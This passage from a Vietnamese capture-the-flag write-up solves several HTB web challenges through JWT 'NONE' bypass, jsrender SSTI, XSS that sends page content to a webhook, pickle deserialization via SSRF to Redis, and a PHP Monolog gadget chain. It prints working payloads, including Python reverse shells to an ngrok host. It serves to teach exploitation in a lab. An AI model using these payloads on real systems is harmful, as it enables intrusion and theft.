184 | Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qYzVOVGd3TWpFd2ZRLk5GdUkybjkta1hVUWJQdTF6NC1BTTRCcDQzRWRuSmZnaFE2aHdhUE8ySWsifQ.ZBwH0g.-e4yJNL7-HvreEhBxlEwAavZsRY
185 | Connection: close
186 |
187 | {"name":"../signal_sleuth_firmware"}
188 | ```
189 | Trong file docker thì flag.txt được đổi tên thành "signal_sleuth_firmware" tại root `/`
190 | ```
191 | HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}
192 | ```
193 | p/s: hình như intend bài này là timebased hay sao ấy :V
194 |
195 | ## Didactic Octo Paddles
196 | #### Medium
197 | Đến những bài này ta sẽ đi thẳng vào vấn đề luôn.
198 |
199 | Trong các middleware được sử dụng cho các route thì endpoint `/admin` sẽ được sử dụng middleware riêng là `AdminMiddleware`, ở đây chứa logic sử dụng JWT
200 |
201 | Đầu tiên JWT sẽ được decode ra thành object, rồi sau đó đưa vào if else để check thuật toán alg được sử dụng
202 |
203 | Để ý phần check `decoded.header.alg == 'none'`, ở đây code đang không muốn ta sử dụng thuật toán `none`, do nếu sử dụng thuật toán này thì khi verify sẽ luôn trả về đúng. Tuy nhiên header `alg` của JWT không chỉ chấp nhận giá trị `none` mà còn chấp nhận các giá trị như `NONE`, `None`, `NoNe`. Việc chỉ so với chuỗi `none` là chưa đủ, dẫn đến ta có thể chỉnh JWT, đổi alg thành `NONE` và sử `id` thành 1
204 |
205 | Vì sao lại là 1, là vì ở đây JWT sẽ sign giá trị `id` là dùng nó để xác định user, nhìn trong file `database.js` sẽ thấy giá trị `id` của `Users` được gán `autoIncrement: true` nghĩa là tự tăng dần, bên dưới tại `Database.create` sẽ tạo user `admin`. Vậy suy ra user đầu tiên là `admin` nên sẽ mang giá trị `id` là 1
206 |
207 | Tại đây có thể dùng JWT_tool: `python jwt_tool.py -X a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNjc5NTYzODU4LCJleHAiOjE2Nzk1Njc0NTh9.RAhPvgjaaLxt7gwrsOsfclGX7RKWfzOZL8g2ZMlXA6Y`
208 |
209 | Craft JWT ta được:
210 | ```
211 | eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5NTYwOTYwLCJleHAiOjE2Nzk1NjQ1NjB9.
212 | ```
213 |
214 | Giờ đến phần sau, ta để ý đoạn code trong route `/admin`:
215 | ```javascript
216 | const users = await db.Users.findAll();
217 | const usernames = users.map((user) => user.username);
218 |
219 | res.render("admin", {
220 | users: jsrender.templates(`${usernames}`).render(),
221 | });
222 | ```
223 | Ta thấy code sẽ lấy tất cả user trong database rồi đưa vào `usernames`, sau đó truyền vào trực tiếp vào `jsrender.templates`. Đọc document về `jsrender.templates()`:
224 |
225 | 
226 |
227 | Đại khái thì ta có thể truyền các Template Expressions vào đây => SSTI
228 |
229 | Tạo một user mới với tên là payload để đọc `/flag.txt`:
230 | ```
231 | {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
232 | ```
233 |
234 | 
235 |
236 | ## SpyBug
237 | #### Medium
238 | Bài này đọc sơ qua source ta tóm lại được là ứng dụng ngoài đăng nhập chính có thể cho ta tạo các agents với `identifier` và `token`. Ở panel thì chỉ có admin mới vào được, bên trong panel thì nếu user login vào là admin thì sẽ nhả ra flag, đọc file `panel.pug` để ý thấy:
239 | ```
240 | td= agent.identifier
241 | td !{agent.hostname}
242 | td !{agent.platform}
243 | td !{agent.arch}
244 | ```
245 | Trong pug thì cú pháp `!{}` sẽ in ra data mà không escape HTMl => Khả năng là XSS.
246 |
247 | Các field như `hostname`, `platform` và `arch` ta có thể kiểm soát nhờ tạo agent và update thông tin bằng cách post vào endpoint `/agents/details/:identifier/:token`
248 |
249 | Tuy nhiên thì trang panel cũng có CSP:
250 | ```javascript
251 | res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';");
252 | ```
253 | Không có CDN, không có unsafe-eval, không có gì cả, vậy tạm thời chưa lợi dụng được XSS
254 |
255 | Xem tiếp qua các chức năng thì ta thấy có chức năng upload file tại `/agents/upload/:identifier/:token` với điều kiện file upload lên phải là một file âm thanh có đuôi`.wav` và mimetype là `audio/wave`, ta có thể bypass bằng cách chèn magic byte của file âm thanh vào đầu nội dung upload:
256 | ```
257 | RIFF????WAVE
258 | ...
259 | ```
260 |
261 | Nhưng bypass xong thì làm gì nữa??
262 |
263 | Nhớ lúc nãy ta bị vướng phải một cái CSP, vì `script-src 'self'` nên ta có thể chèn một tag script và trỏ `src` nó đến một file mà ta đã upload có nội dung là JavaScript, nhưng có một vấn đề là cái magic byte ta chèn khi nãy sẽ làm việc thực thi JS bị lỗi. Vấn đề này có thể được giải quyết bằng cách chèn `//` vào phía trước `RIFF????WAVE`, lý do là vì có vẻ như cái `multer` của nodejs nó chỉ check xem nếu tồn tại dãy bytes `RIFF????WAVE` trong nội dung là nó quy thành file audio luôn
264 |
265 | Lợi dụng up một file JS
266 | ```http
267 | POST /agents/upload/cb972a14-4831-4df2-a6d6-bd9d133631d3/9ad24240-d969-4820-9f5e-454bab98019d HTTP/1.1
268 | Host: 178.62.64.13:30716
269 | Cache-Control: max-age=0
270 | Upgrade-Insecure-Requests: 1
271 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
272 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
273 | Accept-Encoding: gzip, deflate
274 | Accept-Language: en-US,en;q=0.9
275 | Content-Type: multipart/form-data;boundary=---------------------------735323031399963166993862150
276 | Cookie: connect.sid=s%3AyeBvXVfU9d7Zq3rvU43ZYk3sS0mrmD6M.BATGAIe1TKhjI331W8lSMBF7THhgyxP%2BLsnbiYdc4YM
277 | Connection: close
278 | Content-Length: 408
279 |
280 | -----------------------------735323031399963166993862150
281 | Content-Disposition: form-data; name="recording"; filename="hello.wav"
282 | Content-Type: audio/wave
283 |
284 | //RIFF????WAVE
285 | fetch("https://webhook.site/db89e937-1f11-4143-98ea-6c818714b78e", {method: "POST", mode:"no-cors", body: btoa(encodeURI(document.documentElement.innerHTML))}).then(a => b)
286 | -----------------------------735323031399963166993862150--
287 | ```
288 |
289 | Update agent:
290 |
291 | ```http
292 | POST /agents/details/cb972a14-4831-4df2-a6d6-bd9d133631d3/9ad24240-d969-4820-9f5e-454bab98019d HTTP/1.1
293 | Host: 178.62.64.13:30716
294 | Cache-Control: max-age=0
295 | Upgrade-Insecure-Requests: 1
296 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
297 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
298 | Accept-Encoding: gzip, deflate
299 | Content-Type: application/x-www-form-urlencoded
300 | Accept-Language: en-US,en;q=0.9
301 | Cookie: connect.sid=s%3AyeBvXVfU9d7Zq3rvU43ZYk3sS0mrmD6M.BATGAIe1TKhjI331W8lSMBF7THhgyxP%2BLsnbiYdc4YM
302 | Connection: close
303 | Content-Length: 118
304 |
305 | hostname=&platform=hack&arch=aa
306 | ```
307 | Ta nhận được request ở webhook
308 | 
309 |
310 | Decode ra ta được flag:
311 | ```
312 | HTB{p01yg10t5_4nd_35p10n4g3}
313 | ```
314 |
315 | ## TrapTrack
316 | #### Hard
317 | Ở bài này sau khi đọc source code, ta sẽ thấy thông tin login của admin ở file `challenge/application/config.py`
318 | ```python
319 | class Config(object):
320 | SECRET_KEY = generate(50)
321 | ADMIN_USERNAME = 'admin'
322 | ADMIN_PASSWORD = 'admin'
323 | SESSION_PERMANENT = False
324 | SESSION_TYPE = 'filesystem'
325 | SQLALCHEMY_DATABASE_URI = 'sqlite:////tmp/database.db'
326 | REDIS_HOST = '127.0.0.1'
327 | REDIS_PORT = 6379
328 | REDIS_JOBS = 'jobs'
329 | REDIS_QUEUE = 'jobqueue'
330 | REDIS_NUM_JOBS = 100
331 | ```
332 | Login bằng credentials này ta vào được trang quản trị
333 |
334 | Đây là một ứng dụng sử dụng Redis làm database, ứng dụng sẽ cho ta add các url vào và check xem nó có truy cập được không.
335 |
336 | Mỗi khi ta add một traptracks, app sẽ query đến redis để `HSET` vào `jobs` để set một record với key là job_id và value là `data` được serialize bằng `pickle`. Sau đó app cũng `rpush` cái `job_id` vào `REDIS_QUEUE`:
337 | ```python
338 | def create_job_queue(trapName, trapURL):
339 | job_id = get_job_id()
340 |
341 | data = {
342 | 'job_id': int(job_id),
343 | 'trap_name': trapName,
344 | 'trap_url': trapURL,
345 | 'completed': 0,
346 | 'inprogress': 0,
347 | 'health': 0
348 | }
349 |
350 | current_app.redis.hset(env('REDIS_JOBS'), job_id, base64.b64encode(pickle.dumps(data)))
351 |
352 | current_app.redis.rpush(env('REDIS_QUEUE'), job_id)
353 |
354 | return data
355 | ```
356 |
357 | Vì có dùng pickle để serialize thì hẳn phải gọi đến `pickle.loads` để deserialize ở một nơi nào đó. `pickle.loads` được gọi trong hàm `get_job_queue`:
358 | ```python
359 | def get_job_queue(job_id):
360 | data = current_app.redis.hget(env('REDIS_JOBS'), job_id)
361 | if data:
362 | return pickle.loads(base64.b64decode(data))
363 |
364 | return None
365 |
366 | ```
367 |
368 | Hàm `get_job_queue` thì được gọi ở route `/tracks//status`
369 |
370 | Một nơi khác cũng gọi đến `pickle.loads` là `get_work_item`
371 | ```python
372 | def get_work_item():
373 | job_id = store.rpop(env('REDIS_QUEUE'))
374 | if not job_id:
375 | return False
376 |
377 | data = store.hget(env('REDIS_JOBS'), job_id)
378 |
379 | job = pickle.loads(base64.b64decode(data))
380 | return job
381 | ```
382 |
383 | `get_work_item` được gọi bởi `run_worker`, `run_worker` được chạy mỗi 10s
384 |
385 | tại cả 2 chỗ đều lấy đoạn data này ra để đưa vào `pickle.loads`:
386 | ```python
387 | data = {
388 | 'job_id': int(job_id),
389 | 'trap_name': trapName,
390 | 'trap_url': trapURL,
391 | 'completed': 0,
392 | 'inprogress': 0,
393 | 'health': 0
394 | }
395 | ```
396 |
397 | Vấn đề ở đây là ta không kiểm soát được toàn bộ nó mà chỉ kiểm soát được một vài phần thôi. Tuy nhiên có 2 thứ ta có thể lợi dụng:
398 | - hàm `request` sẽ gửi request đến một url bất kì mà không kiểm tra (SSRF)
399 | - Redis là một text protocol, ta có thể lợi dụng các protocol như `dict` hay `gopher` để tương tác với nó
400 |
401 | Vậy ta có thể dùng SSRF để đưa payload đến Redis rồi để app deserialize với `pickle.loads`
402 |
403 | ```!
404 | dict://127.0.0.1:6379/HSET:jobs:130:"gASV7AAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjNFweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjAudGNwLmFwLm5ncm9rLmlvIiwxMjEwNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bigiL2Jpbi9zaCIpJ5SFlFKULg=="
405 | ```
406 | Sau khi `request` được chạy thì một record mới chứa payload và job_id là 130 sẽ xuất hiện trong redis. Tiếp theo là:
407 |
408 | ```
409 | dict://127.0.0.1:6379/RPUSH:jobqueue:"130"
410 | ```
411 |
412 |
413 | Lệnh trên sẽ đưa job_id 130 vào jobqueue, sau 10s thì `request` sẽ được chạy và thực thi lệnh trên, lúc đó thì job_id `130` sẽ nằm trên đỉnh, sau khi `rpop` ra thì nó sẽ dùng `HGET` tìm tới id `130` trong `jobs`.
414 |
415 | Sau khi truy cập vào endpoint `/api/tracks/130/status` thì payload sẽ được trigger và ta sẽ có được reverse shell. Ngoài ra thì vào lúc mà `get_work_item` chạy thì cũng sẽ gọi `pickle.loads` và ta cũng sẽ có được reverse shell
416 |
417 | ```
418 | HTB{tr4p_qu3u3d_t0_rc3!}
419 | ```
420 |
421 | ## UnEarthly Shop
422 | #### Hard
423 | Web chia làm 2 phần là frontend và backend, cùng server
424 |
425 | Sài thử web thì có một request sau:
426 | ```http
427 | POST /api/products HTTP/1.1
428 | Host: 178.62.9.10:30498
429 | Content-Length: 29
430 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
431 | Content-Type: application/json
432 | Accept: */*
433 | Origin: http://178.62.9.10:30498
434 | Referer: http://178.62.9.10:30498/
435 | Accept-Encoding: gzip, deflate
436 | Accept-Language: en-US,en;q=0.9
437 | Connection: close
438 |
439 | [{"$match":{"instock":true}}]
440 | ```
441 | Ứng dụng sài mongo, vậy thay vì `$match` thì ta có thể sử dụng một aggregation operator khác để làm gì đó hay hay.
442 |
443 | https://www.mongodb.com/docs/v6.0/reference/operator/aggregation/lookup/
444 | Đọc document sẽ tìm lấy `$lookup` giúp ta tìm kiếm data trong một collection khác
445 |
446 | ```http
447 | POST /api/products HTTP/1.1
448 | Host: 178.62.9.10:30498
449 | Content-Length: 87
450 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
451 | Content-Type: application/json
452 | Accept: */*
453 | Origin: http://178.62.9.10:30498
454 | Referer: http://178.62.9.10:30498/
455 | Accept-Encoding: gzip, deflate
456 | Accept-Language: en-US,en;q=0.9
457 | Connection: close
458 |
459 | [{"$lookup":
460 | {
461 | "from":"users",
462 | "localField":"_id",
463 | "foreignField":"_id",
464 | "as":"aaa"
465 | }
466 | }]
467 | ```
468 | Ta sẽ nhận về được kết quả có chứa đoạn sau
469 | ```
470 | "aaa":[{"_id":1,"username":"admin","password":"AmqKVZr1kEyeuJsF","access":"a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"}]
471 | ```
472 | ```
473 | admin:AmqKVZr1kEyeuJsF
474 | ```
475 | Trùng hợp là cả users và products đều có _id và _id đều có số 1 nên cách này mới thành công
476 |
477 | Vào được admin, ta đọc code bên backend sẽ để ý thấy sink `unserialize`, thấy có điềm rồi.
478 |
479 | ```php
480 | $this->access = unserialize($_SESSION['access'] ?? '');
481 | ```
482 |
483 | Để ý ta có thể update password, tuy nhiên endpoint này ta có thể lợi dụng để update bất cứ trường nào chứ không riêng password vì đoạn JSON ta truyền vào được pass hết vào `update()`:
484 | ```php
485 | $this->database->update('users', $data['_id'], $data);
486 | ```
487 |
488 | Vậy idea sẽ là update password với một đoạn PHP payload được serialized để RCE đọc flag, tuy nhiên là source code chính của web ta sẽ không tìm thấy gadget nào, ta sẽ bắt đầu tìm kiếm gadget ở các package mà web sử dụng.
489 |
490 | Qua tìm kiếm ta sẽ có được 2 gadget tiềm năng trong PHPGGC là `Guzzle/FW1` và `Monolog/RCE7`. Tuy nhiên khi thử thì `Guzzle/FW1` sẽ fail vì ta không có quyền ghi file, test `Monolog/RCE7` thì thấy nó hoạt động tốt, nhưng vấn đề là bây giờ bên `backend` và `frontend` đều có autoload riêng, làm sao để ta reach được gadget `monolog` bên frontend đây?
491 |
492 | Để ý hàm `spl_autoload_register`, đây là hàm được chạy tự động khi ta cố gắng load một class, phần code sau cho thấy hàm sẽ cố gắng include file với tên của class đang load nếu như nó tồn tại:
493 | ```php
494 | if (file_exists($filename)) {
495 | require $filename;
496 | }
497 | ```
498 | Vậy nếu ta load một class là `www_frontend_vendor_autoload` thì file autoload.php của frontend sẽ được gọi và ta có thể load được class của `monolog`.
499 |
500 | Vấn đề tiếp theo là làm sao vừa include file autoload, vừa load class của monolog. Dựa theo ý tưởng là bài viết [này](https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable) thì ta có thể dùng một array, do khi include được file autoload thì lại không có class nào tên `www_frontend_vendor_autoload` cả nên nó sẽ trả về một `__PHP_Incomplete_Class`, nhưng mấu chốt là nó không bị crash, do đó tại index tiếp theo của array ta có thể load tiếp class từ `monolog` và RCE
501 |
502 | ```!
503 | a:2:{i:0;O:28:"www_frontend_vendor_autoload":0:{}i:1;O:37:"Monolog\Handler\FingersCrossedHandler":4:{s:16:"\u0000*\u0000passthruLevel";i:0;s:10:"\u0000*\u0000handler";r:3;s:9:"\u0000*\u0000buffer";a:1:{i:0;a:2:{i:0;s:209:"python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ap.ngrok.io",12104));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'";s:5:"level";i:0;}}s:13:"*processors";a:2:{i:0;s:3:"pos";i:1;s:6:"system";}}}
504 | ```
505 |
506 | Payload này mình craft tay, chỉ có monolog là gen từ phpggc :V để ý phần `r:3`, đoạn này ban đầu nó là `r:1` nhưng khi đưa vào array thì nó thành 3 để point vào object hiện tại là monolog
507 |
508 | Store payload kia trong file rồi viết một đoạn script gửi lên:
509 | ```python
510 | import requests
511 |
512 | url = "http://138.68.162.218:31396/admin/api/users/update"
513 | with open("./expl.txt") as f:
514 | r = requests.post(url, json={
515 | "_id": 1,
516 | "username": "admin",
517 | "password": "aaa",
518 | "access": f.read()
519 | }, headers={"Cookie":"PHPSESSID=s84akbvbta03voi5mcee8aop1o"})
520 | print(r.text)
521 | ```
522 |
523 | Gửi xong ta logout ra và login lại để trigger đoạn `unserialize`
524 |
525 | ```
526 | HTB{l00kup_4r7if4c75_4nd_4u70lo4d_g4dg37s}
527 | ```
528 |
--------------------------------------------------------------------------------